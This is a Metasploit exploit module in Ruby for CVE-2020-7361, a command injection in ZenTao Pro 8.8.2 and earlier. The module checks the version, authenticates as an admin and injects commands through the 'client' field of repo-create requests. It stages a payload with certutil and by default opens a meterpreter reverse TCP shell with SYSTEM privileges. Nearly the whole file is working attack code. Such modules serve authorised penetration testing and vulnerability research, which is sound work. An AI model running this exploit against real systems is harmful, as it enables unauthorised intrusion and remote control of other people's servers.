256 lines
8.6 KiB
Ruby
256 lines
8.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'ZenTao Pro 8.8.2 Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a command injection vulnerability in ZenTao Pro
|
|
8.8.2 and earlier versions in order to execute arbitrary commands with
|
|
SYSTEM privileges.
|
|
|
|
The module first attempts to authenticate to the ZenTao dashboard. It
|
|
then tries to execute the payload by submitting fake repositories via
|
|
the 'Repo Create' function that is accessible from the dashboard via
|
|
CI>Repo. More precisely, the module sends HTTP POST requests to
|
|
'/pro/repo-create.html' that inject commands in the vulnerable 'path'
|
|
parameter which corresponds to the 'Client Path' input field.
|
|
|
|
Valid credentials for a ZenTao admin account are required. This module
|
|
has been successfully tested against ZenTao 8.8.1 and 8.8.2 running on
|
|
Windows 10 (XAMPP server).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Daniel Monzón', # Discovery
|
|
'Melvin Boers', # PoC
|
|
'Erik Wynter' # @wyntererik - Metasploit
|
|
],
|
|
'References' => [
|
|
['EDB', '48633'], # PoC
|
|
['CVE', '2020-7361']
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' => [
|
|
[
|
|
'Windows (x86)', {
|
|
'Arch' => [ARCH_X86],
|
|
'CmdStagerFlavor' => :certutil,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Windows (x64)', {
|
|
'Arch' => [ARCH_X64],
|
|
'CmdStagerFlavor' => :certutil,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2020-06-20',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options [
|
|
OptString.new('TARGETURI', [true, 'The base path to ZenTao', '/pro/']),
|
|
OptString.new('TARGETPATH', [true, 'The path on the target where commands will be executed', 'C:\\Windows\\Temp']),
|
|
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
|
|
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
|
|
]
|
|
end
|
|
|
|
def check
|
|
vprint_status('Running check')
|
|
|
|
# visit login the page to get the necessary cookies
|
|
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'user-login.html')
|
|
unless res
|
|
return CheckCode::Unknown('Connection failed')
|
|
end
|
|
|
|
cookie = res.get_cookies
|
|
if cookie.blank?
|
|
return CheckCode::Unknown('Unable to retrieve HTTP cookie header')
|
|
end
|
|
|
|
# check if the language is set to English, otherwise change it to English
|
|
unless cookie.scan(/lang=(.*?);/).flatten.first == 'en-US'
|
|
cookie.gsub!(/lang=(.*?);/, 'lang=en;')
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'score-ajax-selectLang.html'),
|
|
'cookie' => cookie
|
|
})
|
|
|
|
unless res
|
|
return CheckCode::Unknown('Connection failed')
|
|
end
|
|
|
|
@cookie = res.get_cookies
|
|
if @cookie.blank?
|
|
return CheckCode::Unknown('Unable to change the application language to English. Target may not be a ZenTao application')
|
|
end
|
|
end
|
|
|
|
# visit login page to check ZenTao version
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'user-login.html'),
|
|
'cookie' => @cookie
|
|
})
|
|
|
|
unless res
|
|
return CheckCode::Unknown('Connection failed')
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?('Login - ZenTao')
|
|
return CheckCode::Safe('Target is not a ZenTao application.')
|
|
end
|
|
|
|
# obtain cookie and random value necessary to autenticate later
|
|
@cookie = res.get_cookies
|
|
retrieve_rand_val(res)
|
|
if @cookie.blank? || @random_value.blank?
|
|
return CheckCode::Unknown('Unable to obtain the tokens required for authentication')
|
|
end
|
|
|
|
# obtain version
|
|
version = res.body.scan(/v=pro(.*?)'/).flatten.first
|
|
if version.blank?
|
|
return CheckCode::Detected('Unable to obtain ZenTao version.')
|
|
end
|
|
|
|
@version = Rex::Version.new(version)
|
|
|
|
unless @version <= Rex::Version.new('8.8.2')
|
|
return CheckCode::Detected("Target is ZenTao version #{@version}.")
|
|
end
|
|
|
|
return CheckCode::Appears("Target is ZenTao version #{@version}.")
|
|
end
|
|
|
|
def retrieve_rand_val(res)
|
|
html = res.get_html_document
|
|
@random_value = html.at('input[@name="verifyRand"]')['value']
|
|
|
|
fail_with(Failure::NotFound, 'Failed to retrieve token') unless @random_value
|
|
end
|
|
|
|
def login
|
|
login_uri = normalize_uri(target_uri.path, 'user-login.html')
|
|
unless @random_value
|
|
res = send_request_cgi('method' => 'GET', 'uri' => login_uri)
|
|
fail_with(Failure::UnexpectedReply, 'Unable to reach login page') unless res
|
|
@cookie = res.get_cookies
|
|
retrieve_rand_val(res)
|
|
end
|
|
|
|
# generate md5 hashes required for authentication
|
|
hashed_pass = Digest::MD5.hexdigest(datastore['PASSWORD'].to_s)
|
|
final_hash = Digest::MD5.hexdigest("#{hashed_pass}#{@random_value}")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => login_uri,
|
|
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
|
|
'cookie' => @cookie,
|
|
'headers' => {
|
|
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/#{login_uri}",
|
|
'X-Requested-With' => 'XMLHttpRequest',
|
|
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"
|
|
},
|
|
'vars_post' => {
|
|
'account' => datastore['USERNAME'],
|
|
'password' => final_hash,
|
|
'passwordStrength' => '1',
|
|
'referer' => '/pro/',
|
|
'verifyRand' => @random_value,
|
|
'KeepLogin' => '0'
|
|
}
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Disconnected, 'Connection failed')
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?('success')
|
|
fail_with(Failure::NoAccess, 'Failed to authenticate. Please check if you have set the correct username and password.')
|
|
end
|
|
|
|
# visit /pro/, which is required to get to the dashboard at /pro/my/
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'cookie' => @cookie,
|
|
'headers' => {
|
|
'Upgrade-Insecure-Requests' => '1',
|
|
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/#{login_uri}"
|
|
}
|
|
})
|
|
|
|
unless res && res.code == 302
|
|
fail_with(Failure::NoAccess, 'Failed to authenticate.')
|
|
end
|
|
|
|
# finally visit /pro/my/ and check if we have been authenticated
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'my'),
|
|
'cookie' => @cookie
|
|
})
|
|
unless res && res.code == 200 && res.body.include?('Dashboard - ZenTao')
|
|
fail_with(Failure::NoAccess, 'Failed to authenticate.')
|
|
end
|
|
print_good("Successfully authenticated to ZenTao #{@version}.")
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
cmd << ' &&' # this is necessary for compatibility with x86 targets (for x64 the module also works without this)
|
|
repo_uri = normalize_uri(target_uri.path, 'repo-create')
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => repo_uri,
|
|
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
|
|
'cookie' => @cookie,
|
|
'headers' => {
|
|
'Accept' => 'application/json, text/javascript, */*; q=0.01',
|
|
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/#{repo_uri}",
|
|
'X-Requested-With' => 'XMLHttpRequest',
|
|
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"
|
|
},
|
|
'vars_post' => {
|
|
'SCM' => 'Git',
|
|
'name' => Rex::Text.rand_text_alpha_lower(6..10),
|
|
'path' => datastore['TARGETPATH'],
|
|
'encoding' => 'utf-8',
|
|
'client' => cmd
|
|
}
|
|
}, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload
|
|
end
|
|
|
|
def exploit
|
|
login
|
|
print_status('Executing the payload...')
|
|
execute_cmdstager(background: true)
|
|
end
|
|
end
|